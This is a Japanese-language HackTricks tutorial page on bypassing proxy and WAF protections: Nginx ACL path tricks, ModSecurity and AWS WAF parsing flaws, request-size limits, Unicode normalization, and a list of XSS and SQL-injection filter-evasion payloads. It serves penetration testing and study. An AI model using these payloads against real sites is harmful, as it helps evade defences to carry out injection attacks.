Proxy / WAF Protections Bypass

HackTricksをサポートする

パス名操作によるNginx ACLルールのバイパス

この研究からの技術 from this research

Nginxルールの例:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Nginxは、バイパスを防ぐためにチェックする前にパスの正規化を行います。しかし、バックエンドサーバーが異なる正規化(nginxが削除しない文字を削除する)を行う場合、この防御をバイパスすることが可能かもしれません。

NodeJS - Express

Nginx Version

Node.js Bypass Characters

1.22.0

\xA0

1.21.6

\xA0

1.20.2

\xA0, \x09, \x0C

1.18.0

\xA0, \x09, \x0C

1.16.1

\xA0, \x09, \x0C

Flask

Nginx Version

Flask Bypass Characters

1.22.0

\x85, \xA0

1.21.6

\x85, \xA0

1.20.2

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

1.18.0

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

1.16.1

\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx Version

Spring Boot Bypass Characters

1.22.0

;

1.21.6

;

1.20.2

\x09, ;

1.18.0

\x09, ;

1.16.1

\x09, ;

PHP-FPM

Nginx FPM構成:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginxは/admin.phpへのアクセスをブロックするように設定されていますが、/admin.php/index.phpにアクセスすることでこれをバイパスすることが可能です。

予防方法

location ~* ^/admin {
deny all;
}

Mod Securityルールのバイパス

パスの混乱

この投稿では、ModSecurity v3(3.0.12まで)が、アクセスされたパスを含むはずのREQUEST_FILENAME変数を不適切に実装していたことが説明されています(パラメータの開始まで)。これは、パスを取得するためにURLデコードを行ったためです。 したがって、mod securityではhttp://example.com/foo%3f';alert(1);foo=のようなリクエストは、%3f?に変換されてURLパスが終了するため、パスは単に/fooであると考えますが、実際にサーバーが受け取るパスは/foo%3f';alert(1);foo=になります。

REQUEST_BASENAMEおよびPATH_INFO変数もこのバグの影響を受けました。

Mod Securityのバージョン2でも同様のことが発生し、特定の拡張子に関連するバックアップファイル(例えば.bak)へのユーザーアクセスを防ぐ保護をバイパスすることが可能でした。これは、ドットを%2eでURLエンコードして送信することで実現されました。例えば:https://example.com/backup%2ebak

AWS WAF ACLのバイパス

不正なヘッダー

この研究では、AWSが適用したHTTPヘッダーに対するWAFルールを、不正に解析されたヘッダーを送信することでバイパスすることが可能であったと述べています。このヘッダーはAWSによって適切に解析されませんでしたが、バックエンドサーバーによっては解析されました。

例えば、ヘッダーX-QueryにSQLインジェクションを含む以下のリクエストを送信することです:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

AWS WAFをバイパスすることが可能だったのは、次の行がヘッダーの値の一部であることを理解できなかったからであり、NODEJSサーバーは理解していた(これは修正された)。

一般的なWAFバイパス

リクエストサイズ制限

一般的にWAFは、チェックするリクエストの長さ制限があり、POST/PUT/PATCHリクエストがそれを超えると、WAFはリクエストをチェックしません。

アプリケーションロードバランサーおよびAWS AppSync保護のために検査できるウェブリクエストボディの最大サイズ

8 KB

CloudFront、API Gateway、Amazon Cognito、App Runner、およびVerified Access保護のために検査できるウェブリクエストボディの最大サイズ**

64 KB

Core Rule Set 3.1(またはそれ以下)の古いWebアプリケーションファイアウォールは、リクエストボディの検査をオフにすることで128 KBを超えるメッセージを許可しますが、これらのメッセージは脆弱性のチェックを受けません。新しいバージョン(Core Rule Set 3.2以降)では、最大リクエストボディ制限を無効にすることで同様のことができます。リクエストがサイズ制限を超えると:

防止モードの場合:リクエストをログに記録し、ブロックします。 検出モードの場合:制限まで検査し、残りを無視し、Content-Lengthが制限を超えた場合はログに記録します。

デフォルトでは、WAFはリクエストの最初の8KBのみを検査します。高度なメタデータを追加することで、制限を128KBまで引き上げることができます。

最大128KB。

難読化

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode 互換性

Unicode 正規化の実装によって(詳細はこちら)、Unicode 互換性を共有する文字は WAF をバイパスし、意図したペイロードとして実行できる場合があります。互換性のある文字はこちらで見つけることができます。

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex Bypasses

ファイアウォールのregexフィルターをバイパスするために異なる技術が使用できます。例としては、ケースの交互、改行の追加、ペイロードのエンコードなどがあります。さまざまなバイパスのリソースはPayloadsAllTheThingsOWASPで見つけることができます。以下の例はこの記事から引用されました。

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Tools

  • nowafpls: WAFをバイパスするためにリクエストにジャンクデータを追加するBurpプラグイン

References

HackTricksをサポートする

Last updated